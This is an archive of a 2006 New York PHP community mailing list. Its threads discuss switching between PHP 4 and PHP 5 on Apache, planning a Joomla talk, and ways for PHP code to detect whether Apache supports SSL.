
         I've had this message in the past when <?php doesn't start 
on line 1 column 1.

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From ps at pswebcode.com  Fri Jul 14 09:55:45 2006
From: ps at pswebcode.com (Peter Sawczynec)
Date: Fri, 14 Jul 2006 09:55:45 -0400
Subject: [nycphp-talk] PHP 4 and PHP 5 on One Apache 1.3.x Unix Installation
Message-ID: <00a001c6a74d$34b4eab0$68e4a144@Rubicon>

Assuming that I have successfully installed safe and separate PHP 4 and PHP
5 on a Unix box 
running Apache 1.3.x. And that I have included and compiled in all the
extensions/libs that I need 
under both (and that I am fully aware of the MySQL, XML and OOP support
issues).
 
In order to switch from PHP 4 to PHP 5, can I simply go into the Apache
httpd.conf file 
and change the directive:
"LoadModule php4_module        libexec/libphp4.so"
to
"LoadModule php5_module        libexec/libphp5.so"
 
Then do a graceful reboot on Apache.
 
So again I'm not concerned with individual scripting compatability issuews,
but do you see this strategy as 
technically sound to allow me to flip back and forth between PHP 4 and PHP
5, if I so needed?
 
Warmest regards,
 
Peter Sawczynec,
Technology Director
PSWebcode
_Design & Interface
_Ecommerce
_Database Management
ps at pswebcode.com
718.796.1951
www.pswebcode.com
 
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From andrew at plexpod.com  Fri Jul 14 10:22:21 2006
From: andrew at plexpod.com (Andrew Yochum)
Date: Fri, 14 Jul 2006 10:22:21 -0400
Subject: [nycphp-talk] PHP 4 and PHP 5 on One Apache 1.3.x Unix
	Installation
In-Reply-To: <00a001c6a74d$34b4eab0$68e4a144@Rubicon>
References: <00a001c6a74d$34b4eab0$68e4a144@Rubicon>
Message-ID: <20060714142221.GN21520@desario.homelinux.net>

Hi Peter,

On Fri, Jul 14, 2006 at 09:55:45AM -0400, Peter Sawczynec wrote:
>    Assuming that I have successfully installed safe and separate PHP 4 and
>    PHP 5 on a Unix box
>    running Apache 1.3.x. And that I have included and compiled in all the
>    extensions/libs that I need
>    under both (and that I am fully aware of the MySQL, XML and OOP support
>    issues).
>     
>    In order to switch from PHP 4 to PHP 5, can I simply go into the Apache
>    httpd.conf file
>    and change the directive:
>    "LoadModule php4_module        libexec/libphp4.so"
>    to
>    "LoadModule php5_module        libexec/libphp5.so"
>     
>    Then do a graceful reboot on Apache.
>     
>    So again I'm not concerned with individual scripting compatability
>    issuews, but do you see this strategy as
>    technically sound to allow me to flip back and forth between PHP 4 and PHP
>    5, if I so needed?

Yeah, that would work.  Personally, I do the following:
    1. Add an additional IP address to my dev box.  In a private network this
    might be:
        192.168.0.10
        192.168.0.11
    2. Setup two apache config files that:
        - each is bound to one or more IPs explicitly, not the wildcard */0.0.0.0
        - one uses PHP4, one uses PHP5
        - each may load the same or separate vhosts... depends on what you're
          trying to accomplish.  You can do name or IP based virtual hosting. Just
          make sure the two apache's IPs don't overlap.
       These might be:
           /etc/apache2/apache2-php4.conf
           /etc/apache2/apache2-php5.conf
    3. Setup a separate init script for each - one may be the same if you left
    one config file in the original place. These might be:
           /etc/init.d/apache2-php4
           /etc/init.d/apache2-php5
    4. Start your apaches:
        /etc/init.d/apache-php4 start
        /etc/init.d/apache-php5 start
    
Voila!  Then you don't need to edit or restart anything.  You have both
environments up and running seamlessly with neither running as a CGI, etc.

PS. The same strategy could be used to run a second apache on a separate port.

HTH,
Andrew
-- 
Andrew Yochum
Plexpod
andrew at plexpod.com
718-360-0879


From mitch.pirtle at gmail.com  Fri Jul 14 12:27:40 2006
From: mitch.pirtle at gmail.com (Mitch Pirtle)
Date: Fri, 14 Jul 2006 12:27:40 -0400
Subject: [nycphp-talk] Joomla presentation this month
Message-ID: <330532b60607140927s304edf3dr7ac5a1535a168c17@mail.gmail.com>

Hi gang,

Apologies for the cross-post, however I wanted to make sure I got to
as many of you as possible.

I'm preparing the presentation and would like to know:

    Just what exactly do you want to learn from this presentation?

Feel free to spout off whatever you are looking for, as I can tailor
the presentation. This time I hope to only put two or three of you to
sleep, as opposed to the four of you when I presented Mambo last year.
 :-)

I'm expecting a mix of technical/non-technical in the audience, so it
would be great if I could better target the information that you are
hoping me to cover. Let 'em rip!

-- Mitch


From alex at pilgrimstudio.com  Fri Jul 14 12:47:19 2006
From: alex at pilgrimstudio.com (Alexander)
Date: Fri, 14 Jul 2006 12:47:19 -0400
Subject: [nycphp-talk] Joomla presentation this month
In-Reply-To: <330532b60607140927s304edf3dr7ac5a1535a168c17@mail.gmail.com>
References: <330532b60607140927s304edf3dr7ac5a1535a168c17@mail.gmail.com>
Message-ID: <60204.160.79.66.98.1152895639.squirrel@pilgrimstudio.com>

Hi,

How about architectural overview among with some info about Joomla
customization?

I believe it also might be nice to see/hear some information about
performance,flexibility and etc. in comparison with other CMSs...

ps. espresso at the front door will keep everyone awake :)

> Hi gang,
>
> Apologies for the cross-post, however I wanted to make sure I got to
> as many of you as possible.
>
> I'm preparing the presentation and would like to know:
>
>     Just what exactly do you want to learn from this presentation?
>
> Feel free to spout off whatever you are looking for, as I can tailor
> the presentation. This time I hope to only put two or three of you to
> sleep, as opposed to the four of you when I presented Mambo last year.
>  :-)
>
> I'm expecting a mix of technical/non-technical in the audience, so it
> would be great if I could better target the information that you are
> hoping me to cover. Let 'em rip!
>
> -- Mitch
> _______________________________________________
> New York PHP Community Talk Mailing List
> http://lists.nyphp.org/mailman/listinfo/talk
> New York PHP Conference and Expo 2006
> http://www.nyphpcon.com
> Show Your Participation in New York PHP
> http://www.nyphp.org/show_participation.php
>


-- 
Best regards,
Alexander





From ps at pswebcode.com  Fri Jul 14 12:53:17 2006
From: ps at pswebcode.com (Peter Sawczynec)
Date: Fri, 14 Jul 2006 12:53:17 -0400
Subject: [nycphp-talk] Joomla presentation this month
In-Reply-To: <330532b60607140927s304edf3dr7ac5a1535a168c17@mail.gmail.com>
Message-ID: <00db01c6a766$0188e790$68e4a144@Rubicon>

I have only used joomla one time for a task, but I found that immediately:

1) Needed to customize the menu system.
2) Had to make design changes to the template files.
   How to customize without breaking upgrade compatibility?
3) I needed to install custom modules. 
   What modules are available: shopping cart, events calendar, etc.
   Had to find where I can get them: 
   What sites? Cost/free? 
   How to install a module. 
   How to configure a module.
4) Needed to know about URL rewrite.

Warmest regards,
 
Peter Sawczynec,
Technology Director
PSWebcode
_Design & Interface
_Ecommerce
_Database Management
ps at pswebcode.com
718.796.1951
www.pswebcode.com





-----Original Message-----
From: talk-bounces at lists.nyphp.org [mailto:talk-bounces at lists.nyphp.org] On
Behalf Of Mitch Pirtle
Sent: Friday, July 14, 2006 12:28 PM
To: NYPHP SIG: Joomla; NYPHP Talk
Subject: [nycphp-talk] Joomla presentation this month


Hi gang,

Apologies for the cross-post, however I wanted to make sure I got to as many
of you as possible.

I'm preparing the presentation and would like to know:

    Just what exactly do you want to learn from this presentation?

Feel free to spout off whatever you are looking for, as I can tailor the
presentation. This time I hope to only put two or three of you to sleep, as
opposed to the four of you when I presented Mambo last year.
 :-)

I'm expecting a mix of technical/non-technical in the audience, so it would
be great if I could better target the information that you are hoping me to
cover. Let 'em rip!

-- Mitch
_______________________________________________
New York PHP Community Talk Mailing List
http://lists.nyphp.org/mailman/listinfo/talk
New York PHP Conference and Expo 2006
http://www.nyphpcon.com
Show Your Participation in New York PHP
http://www.nyphp.org/show_participation.php



From urb at e-government.com  Fri Jul 14 13:54:52 2006
From: urb at e-government.com (Urb LeJeune)
Date: Fri, 14 Jul 2006 13:54:52 -0400
Subject: [nycphp-talk] Joomla presentation this month
In-Reply-To: <330532b60607140927s304edf3dr7ac5a1535a168c17@mail.gmail.co
 m>
References: <330532b60607140927s304edf3dr7ac5a1535a168c17@mail.gmail.com>
Message-ID: <7.0.1.0.0.20060714135425.041dd350@e-government.com>


>I'm preparing the presentation and would like to know:

         When and were will the presentation be held?

Urb




From ereyes at totalcreations.com  Fri Jul 14 14:15:48 2006
From: ereyes at totalcreations.com (Edgar Reyes)
Date: Fri, 14 Jul 2006 14:15:48 -0400
Subject: [nycphp-talk] Joomla presentation this month
In-Reply-To: <330532b60607140927s304edf3dr7ac5a1535a168c17@mail.gmail.com>
Message-ID: <006901c6a771$887f8780$6500a8c0@ERTop>

I would like to see how to customize the look and feel of it, and if
possible to have different looks for different parts of the site.

Thanks.

ER

-----Original Message-----
From: talk-bounces at lists.nyphp.org [mailto:talk-bounces at lists.nyphp.org] On
Behalf Of Mitch Pirtle
Sent: Friday, July 14, 2006 11:28 AM
To: NYPHP SIG: Joomla; NYPHP Talk
Subject: [nycphp-talk] Joomla presentation this month

Hi gang,

Apologies for the cross-post, however I wanted to make sure I got to
as many of you as possible.

I'm preparing the presentation and would like to know:

    Just what exactly do you want to learn from this presentation?

Feel free to spout off whatever you are looking for, as I can tailor
the presentation. This time I hope to only put two or three of you to
sleep, as opposed to the four of you when I presented Mambo last year.
 :-)

I'm expecting a mix of technical/non-technical in the audience, so it
would be great if I could better target the information that you are
hoping me to cover. Let 'em rip!

-- Mitch
_______________________________________________
New York PHP Community Talk Mailing List
http://lists.nyphp.org/mailman/listinfo/talk
New York PHP Conference and Expo 2006
http://www.nyphpcon.com
Show Your Participation in New York PHP
http://www.nyphp.org/show_participation.php



From edwardpotter at gmail.com  Fri Jul 14 14:23:27 2006
From: edwardpotter at gmail.com (edward potter)
Date: Fri, 14 Jul 2006 14:23:27 -0400
Subject: [nycphp-talk] Joomla presentation this month
In-Reply-To: <330532b60607140927s304edf3dr7ac5a1535a168c17@mail.gmail.com>
References: <330532b60607140927s304edf3dr7ac5a1535a168c17@mail.gmail.com>
Message-ID: <c5949a380607141123h7f53bb15ueccb79e21c6d54ca@mail.gmail.com>

hi,

Comparison to Drupal? It seems to be on a roll. Also, may it be an
option to "roll your own"?  All these mega packages seems to be over
kill for me.

I would LOVE to see a Wordpress Lite, A Drupal Lite, A Joomal Lite,
osCommerce Lite, MediaWiki Lite.  On editing the mother package, I
have to wade through 100's (if not thousands) of line of code to add a
feature I'd like to see.

These applications seem to be for those that have little or no php
experience, but if you are a php hacker, it would be great to just
pull components from each package, like some monster library, and
create a new hybrid? Is anyone thinking along those lines?

Thinking it would be great to "mate", and combine all the good pieces into one.

Just another crazy idea.

thanks, ed :-)

On 7/14/06, Mitch Pirtle <mitch.pirtle at gmail.com> wrote:
> Hi gang,
>
> Apologies for the cross-post, however I wanted to make sure I got to
> as many of you as possible.
>
> I'm preparing the presentation and would like to know:
>
>     Just what exactly do you want to learn from this presentation?
>
> Feel free to spout off whatever you are looking for, as I can tailor
> the presentation. This time I hope to only put two or three of you to
> sleep, as opposed to the four of you when I presented Mambo last year.
>  :-)
>
> I'm expecting a mix of technical/non-technical in the audience, so it
> would be great if I could better target the information that you are
> hoping me to cover. Let 'em rip!
>
> -- Mitch
> _______________________________________________
> New York PHP Community Talk Mailing List
> http://lists.nyphp.org/mailman/listinfo/talk
> New York PHP Conference and Expo 2006
> http://www.nyphpcon.com
> Show Your Participation in New York PHP
> http://www.nyphp.org/show_participation.php
>


From joelee724 at gmail.com  Fri Jul 14 14:27:23 2006
From: joelee724 at gmail.com (Joe Lee)
Date: Fri, 14 Jul 2006 14:27:23 -0400
Subject: [nycphp-talk] Question about htaccess logs
Message-ID: <44B7E20B.7050401@gmail.com>

Hi All, I have a htpasswd setup for a site. Is there any sort of logs to 
see when a user have logged in using the htaccess account?
-joe


From ajai at bitblit.net  Fri Jul 14 14:47:11 2006
From: ajai at bitblit.net (Ajai Khattri)
Date: Fri, 14 Jul 2006 14:47:11 -0400
Subject: [nycphp-talk] Joomla presentation this month
In-Reply-To: <006901c6a771$887f8780$6500a8c0@ERTop>
References: <006901c6a771$887f8780$6500a8c0@ERTop>
Message-ID: <44B7E6AF.1050100@bitblit.net>

Edgar Reyes wrote:
> I would like to see how to customize the look and feel of it, and if
> possible to have different looks for different parts of the site.

Sure you can, you can assign different templates to different parts of a 
site...



-- 
A


From ajai at bitblit.net  Fri Jul 14 14:49:16 2006
From: ajai at bitblit.net (Ajai Khattri)
Date: Fri, 14 Jul 2006 14:49:16 -0400
Subject: [nycphp-talk] Joomla presentation this month
In-Reply-To: <c5949a380607141123h7f53bb15ueccb79e21c6d54ca@mail.gmail.com>
References: <330532b60607140927s304edf3dr7ac5a1535a168c17@mail.gmail.com>
	<c5949a380607141123h7f53bb15ueccb79e21c6d54ca@mail.gmail.com>
Message-ID: <44B7E72C.2040304@bitblit.net>

edward potter wrote:
> I would LOVE to see a Wordpress Lite
TextPattern maybe?
> On editing the mother package, I
> have to wade through 100's (if not thousands) of line of code to add a
> feature I'd like to see.
Really? I just created a new component... about 200 lines of code...


-- 
A


From ajai at bitblit.net  Fri Jul 14 14:50:32 2006
From: ajai at bitblit.net (Ajai Khattri)
Date: Fri, 14 Jul 2006 14:50:32 -0400
Subject: [nycphp-talk] Joomla presentation this month
In-Reply-To: <330532b60607140927s304edf3dr7ac5a1535a168c17@mail.gmail.com>
References: <330532b60607140927s304edf3dr7ac5a1535a168c17@mail.gmail.com>
Message-ID: <44B7E778.10807@bitblit.net>

Mitch Pirtle wrote:
> Feel free to spout off whatever you are looking for, as I can tailor
> the presentation. This time I hope to only put two or three of you to
> sleep, as opposed to the four of you when I presented Mambo last year.
>  :-)

Here's something that came up recently:

Would it be possible to import and static site into Joomla?

If so, what would be the process for doing so?



-- 
A


From rmarscher at beaffinitive.com  Fri Jul 14 14:56:29 2006
From: rmarscher at beaffinitive.com (Rob Marscher)
Date: Fri, 14 Jul 2006 14:56:29 -0400
Subject: [nycphp-talk] Use php to check for ssl/https support in apache
Message-ID: <44B7E8DD.2080009@beaffinitive.com>

Hi All,

I've done a bit of searching and haven't been able to find if there's a 
means that php running on apache can determine if apache supports 
ssl/https connections.  It would be nice my app to force an https 
connection on certain pages if it is available.  Otherwise I'll have to 
do it with a manual config switch.

Running apache_get_modules() and checking for mod_ssl seems like an 
option... but doesn't work on PHP 4.4.2 w/ Apache 1.3 which a lot of 
production servers still use.  Any other ideas?

Thanks a lot,
Rob


From rotsen at gmail.com  Fri Jul 14 15:07:46 2006
From: rotsen at gmail.com (Nestor)
Date: Fri, 14 Jul 2006 12:07:46 -0700
Subject: [nycphp-talk] Use php to check for ssl/https support in apache
In-Reply-To: <44B7E8DD.2080009@beaffinitive.com>
References: <44B7E8DD.2080009@beaffinitive.com>
Message-ID: <a304e2d60607141207u3d5dad90wf2c8748a0d73010d@mail.gmail.com>

What would happen if you file(https://www.domain.com)?
You should get a FALSE if you were not able to read the file.

N?stor :-)

On 7/14/06, Rob Marscher <rmarscher at beaffinitive.com> wrote:
>
> Hi All,
>
> I've done a bit of searching and haven't been able to find if there's a
> means that php running on apache can determine if apache supports
> ssl/https connections.  It would be nice my app to force an https
> connection on certain pages if it is available.  Otherwise I'll have to
> do it with a manual config switch.
>
> Running apache_get_modules() and checking for mod_ssl seems like an
> option... but doesn't work on PHP 4.4.2 w/ Apache 1.3 which a lot of
> production servers still use.  Any other ideas?
>
> Thanks a lot,
> Rob
> _______________________________________________
> New York PHP Community Talk Mailing List
> http://lists.nyphp.org/mailman/listinfo/talk
> New York PHP Conference and Expo 2006
> http://www.nyphpcon.com
> Show Your Participation in New York PHP
> http://www.nyphp.org/show_participation.php
>
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From rmarscher at beaffinitive.com  Fri Jul 14 15:19:41 2006
From: rmarscher at beaffinitive.com (Rob Marscher)
Date: Fri, 14 Jul 2006 15:19:41 -0400
Subject: [nycphp-talk] Use php to check for ssl/https support in apache
In-Reply-To: <a304e2d60607141207u3d5dad90wf2c8748a0d73010d@mail.gmail.com>
References: <44B7E8DD.2080009@beaffinitive.com>
	<a304e2d60607141207u3d5dad90wf2c8748a0d73010d@mail.gmail.com>
Message-ID: <44B7EE4D.8030003@beaffinitive.com>

Yeah... that's pretty good.  It does rely on allow_url_fopen php.ini 
being turned on, I believe.  Maybe fopen(https://www.domain.com) would 
be slightly less overhead... the overhead isn't really a big deal though 
in this situation because it's only going to be used when writing a 
config file.  Any other ideas that don't require allow_url_fopen?

Thanks a lot, N?stor.  :)

-Rob


Nestor wrote:
> What would happen if you file(https://www.domain.com)?
> You should get a FALSE if you were not able to read the file.
> 
> N?stor :-)
> 
> On 7/14/06, *Rob Marscher* <rmarscher at beaffinitive.com 
> <mailto:rmarscher at beaffinitive.com>> wrote:
> 
>     Hi All,
> 
>     I've done a bit of searching and haven't been able to find if there's a
>     means that php running on apache can determine if apache supports
>     ssl/https connections.  It would be nice my app to force an https
>     connection on certain pages if it is available.  Otherwise I'll have to
>     do it with a manual config switch.
> 
>     Running apache_get_modules() and checking for mod_ssl seems like an
>     option... but doesn't work on PHP 4.4.2 w/ Apache 1.3 which a lot of
>     production servers still use.  Any other ideas?
> 
>     Thanks a lot,
>     Rob
>     _______________________________________________
>     New York PHP Community Talk Mailing List
>     http://lists.nyphp.org/mailman/listinfo/talk
>     New York PHP Conference and Expo 2006
>     http://www.nyphpcon.com
>     Show Your Participation in New York PHP
>     http://www.nyphp.org/show_participation.php
> 
> 
> 
> ------------------------------------------------------------------------
> 
> _______________________________________________
> New York PHP Community Talk Mailing List
> http://lists.nyphp.org/mailman/listinfo/talk
> New York PHP Conference and Expo 2006
> http://www.nyphpcon.com
> Show Your Participation in New York PHP
> http://www.nyphp.org/show_participation.php


From rotsen at gmail.com  Fri Jul 14 15:26:41 2006
From: rotsen at gmail.com (Nestor)
Date: Fri, 14 Jul 2006 12:26:41 -0700
Subject: [nycphp-talk] Use php to check for ssl/https support in apache
In-Reply-To: <44B7EE4D.8030003@beaffinitive.com>
References: <44B7E8DD.2080009@beaffinitive.com>
	<a304e2d60607141207u3d5dad90wf2c8748a0d73010d@mail.gmail.com>
	<44B7EE4D.8030003@beaffinitive.com>
Message-ID: <a304e2d60607141226s33f547f5j6d8ddf830ce0b5d4@mail.gmail.com>

ROb,

YOu can always try using Net_Ping::ping()
read about here:
http://pear.php.net/manual/en/html/package.networking.net-ping.ping.html
It is supposed to return "returns message of the ping command"

Here is an example code:

---------------------
<?php

require_once 'Net/Ping.php' ;

$ping = new Net_Ping;
$ping->setArgs(array("count" => 5,
                     "size"  => 32,
                     "ttl"   => 512
                    )
              );
var_dump($ping->ping("example.com"));

?>
----------------

N?stor :-)



On 7/14/06, Rob Marscher <rmarscher at beaffinitive.com> wrote:
>
> Yeah... that's pretty good.  It does rely on allow_url_fopen php.ini
> being turned on, I believe.  Maybe fopen(https://www.domain.com) would
> be slightly less overhead... the overhead isn't really a big deal though
> in this situation because it's only going to be used when writing a
> config file.  Any other ideas that don't require allow_url_fopen?
>
> Thanks a lot, N?stor.  :)
>
> -Rob
>
>
> Nestor wrote:
> > What would happen if you file(https://www.domain.com)?
> > You should get a FALSE if you were not able to read the file.
> >
> > N?stor :-)
> >
> > On 7/14/06, *Rob Marscher* <rmarscher at beaffinitive.com
> > <mailto:rmarscher at beaffinitive.com>> wrote:
> >
> >     Hi All,
> >
> >     I've done a bit of searching and haven't been able to find if
> there's a
> >     means that php running on apache can determine if apache supports
> >     ssl/https connections.  It would be nice my app to force an https
> >     connection on certain pages if it is available.  Otherwise I'll have
> to
> >     do it with a manual config switch.
> >
> >     Running apache_get_modules() and checking for mod_ssl seems like an
> >     option... but doesn't work on PHP 4.4.2 w/ Apache 1.3 which a lot of
> >     production servers still use.  Any other ideas?
> >
> >     Thanks a lot,
> >     Rob
> >     _______________________________________________
> >     New York PHP Community Talk Mailing List
> >     http://lists.nyphp.org/mailman/listinfo/talk
> >     New York PHP Conference and Expo 2006
> >     http://www.nyphpcon.com
> >     Show Your Participation in New York PHP
> >     http://www.nyphp.org/show_participation.php
> >
> >
> >
> > ------------------------------------------------------------------------
> >
> > _______________________________________________
> > New York PHP Community Talk Mailing List
> > http://lists.nyphp.org/mailman/listinfo/talk
> > New York PHP Conference and Expo 2006
> > http://www.nyphpcon.com
> > Show Your Participation in New York PHP
> > http://www.nyphp.org/show_participation.php
> _______________________________________________
> New York PHP Community Talk Mailing List
> http://lists.nyphp.org/mailman/listinfo/talk
> New York PHP Conference and Expo 2006
> http://www.nyphpcon.com
> Show Your Participation in New York PHP
> http://www.nyphp.org/show_participation.php
>
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From ajai at bitblit.net  Fri Jul 14 15:46:15 2006
From: ajai at bitblit.net (Ajai Khattri)
Date: Fri, 14 Jul 2006 15:46:15 -0400
Subject: [nycphp-talk] Use php to check for ssl/https support in apache
In-Reply-To: <a304e2d60607141226s33f547f5j6d8ddf830ce0b5d4@mail.gmail.com>
References: <44B7E8DD.2080009@beaffinitive.com>	<a304e2d60607141207u3d5dad90wf2c8748a0d73010d@mail.gmail.com>	<44B7EE4D.8030003@beaffinitive.com>
	<a304e2d60607141226s33f547f5j6d8ddf830ce0b5d4@mail.gmail.com>
Message-ID: <44B7F487.5020808@bitblit.net>

Nestor wrote:
> ROb,
>
> YOu can always try using Net_Ping::ping()
> read about here: 
> http://pear.php.net/manual/en/html/package.networking.net-ping.ping.html 
> <http://pear.php.net/manual/en/html/package.networking.net-ping.ping.html>
> It is supposed to return "returns message of the ping command"

Ping only tells you that a machine is up and responding to ICMP messages 
- it won't tell you if the machine is running SSL or not.



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From urb at e-government.com  Fri Jul 14 17:28:40 2006
From: urb at e-government.com (Urb LeJeune)
Date: Fri, 14 Jul 2006 17:28:40 -0400
Subject: [nycphp-talk] Banner Rotation Package
In-Reply-To: <44B7F487.5020808@bitblit.net>
References: <44B7E8DD.2080009@beaffinitive.com>
	<a304e2d60607141207u3d5dad90wf2c8748a0d73010d@mail.gmail.com>
	<44B7EE4D.8030003@beaffinitive.com>
	<a304e2d60607141226s33f547f5j6d8ddf830ce0b5d4@mail.gmail.com>
	<44B7F487.5020808@bitblit.net>
Message-ID: <7.0.1.0.0.20060714172717.04d82da0@e-government.com>

Can anyone recommend a banner rotation package? I doesn't
have to be free but must be well written and easy to modify.

Thanks

Urb




From jbaer at VillageVoice.com  Fri Jul 14 17:29:48 2006
From: jbaer at VillageVoice.com (Baer, Jon)
Date: Fri, 14 Jul 2006 17:29:48 -0400
Subject: [nycphp-talk] Banner Rotation Package
In-Reply-To: <7.0.1.0.0.20060714172717.04d82da0@e-government.com>
Message-ID: <4D2FAD9B00577645932AD7ED5FECA24502DC7C06@mail>

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Hash: SHA1

Might be overkill, but free ...

http://www.phpadsnew.com/two/

- - Jon 

- -----Original Message-----
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Sent: Friday, July 14, 2006 5:29 PM
To: NYPHP Talk
Subject: [nycphp-talk] Banner Rotation Package

Can anyone recommend a banner rotation package? I doesn't have to be
free but must be well written and easy to modify.

Thanks

Urb


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From rmarscher at beaffinitive.com  Fri Jul 14 17:36:15 2006
From: rmarscher at beaffinitive.com (Rob Marscher)
Date: Fri, 14 Jul 2006 17:36:15 -0400
Subject: [nycphp-talk] Banner Rotation Package
In-Reply-To: <7.0.1.0.0.20060714172717.04d82da0@e-government.com>
References: <44B7E8DD.2080009@beaffinitive.com>	<a304e2d60607141207u3d5dad90wf2c8748a0d73010d@mail.gmail.com>	<44B7EE4D.8030003@beaffinitive.com>	<a304e2d60607141226s33f547f5j6d8ddf830ce0b5d4@mail.gmail.com>	<44B7F487.5020808@bitblit.net>
	<7.0.1.0.0.20060714172717.04d82da0@e-government.com>
Message-ID: <44B80E4F.2090108@beaffinitive.com>

Yeah... as Jon mentioned, phpAdsNew has had a lot of development and is 
widely used.

MaxMediaManager is a project that is rewriting phpAdsNew to have many 
more features and use more OOP and good design patterns in the code. 
The 0.3 version of MaxMediaManager is nearing a stable version, but 
still has a lot of open bug tickets.  But I've been using a version of 
it that I modified with a lot of success.

Both of those are free... they have so many features, that like Jon 
said, might be overkill for your situation.

-Rob


Urb LeJeune wrote:
> Can anyone recommend a banner rotation package? I doesn't
> have to be free but must be well written and easy to modify.
> 
> Thanks
> 
> Urb
> 
> 
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From tedd at sperling.com  Fri Jul 14 18:45:25 2006
From: tedd at sperling.com (tedd)
Date: Fri, 14 Jul 2006 18:45:25 -0400
Subject: [nycphp-talk] Banner Rotation Package
In-Reply-To: <7.0.1.0.0.20060714172717.04d82da0@e-government.com>
References: <44B7E8DD.2080009@beaffinitive.com>
	<a304e2d60607141207u3d5dad90wf2c8748a0d73010d@mail.gmail.com>
	<44B7EE4D.8030003@beaffinitive.com>
	<a304e2d60607141226s33f547f5j6d8ddf830ce0b5d4@mail.gmail.com>
	<44B7F487.5020808@bitblit.net>
	<7.0.1.0.0.20060714172717.04d82da0@e-government.com>
Message-ID: <p06230903c0ddce6b0ca5@[192.168.1.100]>

At 5:28 PM -0400 7/14/06, Urb LeJeune wrote:
>Can anyone recommend a banner rotation package? I doesn't
>have to be free but must be well written and easy to modify.
>
>Thanks
>
>Urb

Urb:

My apologies for using the list, but I replied to you privately twice -- did you receive my emails?

tedd
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From rolan at omnistep.com  Fri Jul 14 20:37:51 2006
From: rolan at omnistep.com (Rolan Yang)
Date: Fri, 14 Jul 2006 20:37:51 -0400
Subject: [nycphp-talk] Use php to check for ssl/https support in apache
In-Reply-To: <44B7E8DD.2080009@beaffinitive.com>
References: <44B7E8DD.2080009@beaffinitive.com>
Message-ID: <44B838DF.2010404@omnistep.com>

Here are 2 ways to do it without resorting to fopen.. Only applies if 
your https is on the same server. The first is cleaner than the second, 
but neither are guaranteed to work. Use at your own risk.

function check_https() {
        ob_start();
        phpinfo(INFO_GENERAL);
        $phpinfo = ob_get_contents();
        ob_end_clean();
        $s=strpos($phpinfo,'Registered PHP Streams');
        $e=strpos($phpinfo,"\n",$s);
        if (strstr(substr($phpinfo,$s,$e-$s),'https')) {
                return TRUE;
        }
        else {
                return FALSE;
        }
}

function check_https2() {
        ob_start();
        phpinfo(INFO_GENERAL);
        $test=strstr(ob_get_contents(),'https');
        ob_end_clean();
        if ($test) { return TRUE;}
        else {return FALSE;}
}

~Rolan

Rob Marscher wrote:
> Hi All,
>
> I've done a bit of searching and haven't been able to find if there's a 
> means that php running on apache can determine if apache supports 
> ssl/https connections.  It would be nice my app to force an https 
> connection on certain pages if it is available.  Otherwise I'll have to 
> do it with a manual config switch.
>
> Running apache_get_modules() and checking for mod_ssl seems like an 
> option... but doesn't work on PHP 4.4.2 w/ Apache 1.3 which a lot of 
> production servers still use.  Any other ideas?
>
> Thanks a lot,
> Rob
>   


From kenzolist at counterfolk.com  Fri Jul 14 20:44:45 2006
From: kenzolist at counterfolk.com (Ken)
Date: Fri, 14 Jul 2006 20:44:45 -0400
Subject: [nycphp-talk] Use php to check for ssl/https support in  apache
In-Reply-To: <44B7E8DD.2080009@beaffinitive.com>
Message-ID: <1.46145188808441.281.356370925903@1.00012355317098>

At 02:56 PM 7/14/2006 -0400, Rob Marscher wrote:
>I've done a bit of searching and haven't been able to find if there's a 
>means that php running on apache can determine if apache supports 
>ssl/https connections.  It would be nice my app to force an https 
>connection on certain pages if it is available.  Otherwise I'll have to 
>do it with a manual config switch.

In my own app, I wrote this test (years ago) that works on the Apache servers I've used it with:

No SSL if:
   (strpos($HTTP_SERVER_VARS["SERVER_SOFTWARE"], "ssl") === FALSE)

- Ken



From jonbaer at jonbaer.com  Fri Jul 14 21:53:03 2006
From: jonbaer at jonbaer.com (Jon Baer)
Date: Fri, 14 Jul 2006 21:53:03 -0400
Subject: [nycphp-talk] Use php to check for ssl/https support in apache
In-Reply-To: <44B838DF.2010404@omnistep.com>
References: <44B7E8DD.2080009@beaffinitive.com> <44B838DF.2010404@omnistep.com>
Message-ID: <27A81BE1-0F83-4054-9B56-57872B3913E2@jonbaer.com>

This may sound like a dumb question but wouldn't a test for a  
specific certificate file somehow be a better sign that SSL is setup?

Like attaching a check, if (file_exists('/some/path/cert.pem')) header 
("Location: https://secure/path/");

?

- Jon

On Jul 14, 2006, at 8:37 PM, Rolan Yang wrote:

> Here are 2 ways to do it without resorting to fopen.. Only applies if
> your https is on the same server. The first is cleaner than the  
> second,
> but neither are guaranteed to work. Use at your own risk.
>
> function check_https() {
>         ob_start();
>         phpinfo(INFO_GENERAL);
>         $phpinfo = ob_get_contents();
>         ob_end_clean();
>         $s=strpos($phpinfo,'Registered PHP Streams');
>         $e=strpos($phpinfo,"\n",$s);
>         if (strstr(substr($phpinfo,$s,$e-$s),'https')) {
>                 return TRUE;
>         }
>         else {
>                 return FALSE;
>         }
> }
>
> function check_https2() {
>         ob_start();
>         phpinfo(INFO_GENERAL);
>         $test=strstr(ob_get_contents(),'https');
>         ob_end_clean();
>         if ($test) { return TRUE;}
>         else {return FALSE;}
> }
>
> ~Rolan
>
> Rob Marscher wrote:
>> Hi All,
>>
>> I've done a bit of searching and haven't been able to find if  
>> there's a
>> means that php running on apache can determine if apache supports
>> ssl/https connections.  It would be nice my app to force an https
>> connection on certain pages if it is available.  Otherwise I'll  
>> have to
>> do it with a manual config switch.
>>
>> Running apache_get_modules() and checking for mod_ssl seems like an
>> option... but doesn't work on PHP 4.4.2 w/ Apache 1.3 which a lot of
>> production servers still use.  Any other ideas?
>>
>> Thanks a lot,
>> Rob
>>
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From cderr at simons-rock.edu  Fri Jul 14 21:19:35 2006
From: cderr at simons-rock.edu (charlie derr)
Date: Fri, 14 Jul 2006 21:19:35 -0400
Subject: [nycphp-talk] Use php to check for ssl/https support in apache
In-Reply-To: <27A81BE1-0F83-4054-9B56-57872B3913E2@jonbaer.com>
References: <44B7E8DD.2080009@beaffinitive.com> <44B838DF.2010404@omnistep.com>
	<27A81BE1-0F83-4054-9B56-57872B3913E2@jonbaer.com>
Message-ID: <44B842A7.9010005@simons-rock.edu>

Jon Baer wrote:
> This may sound like a dumb question but wouldn't a test for a  
> specific certificate file somehow be a better sign that SSL is setup?
> 
> Like attaching a check, if (file_exists('/some/path/cert.pem')) header 
> ("Location: https://secure/path/");
> 
> ?

The existence of that file only means that SSL *might* be setup properly.  It won't tell you that it's working right, and it certainly won't tell you that the connection you're coming in on is 
encrypted.  Lots of places that serve https also serve plain vanilla http on the same IP.  But as an additional check (for a specific cert) the above suggestion might still be useful.  As long as it's 
not the only thing you're relying on to verify the https protocol.

	~c



> 
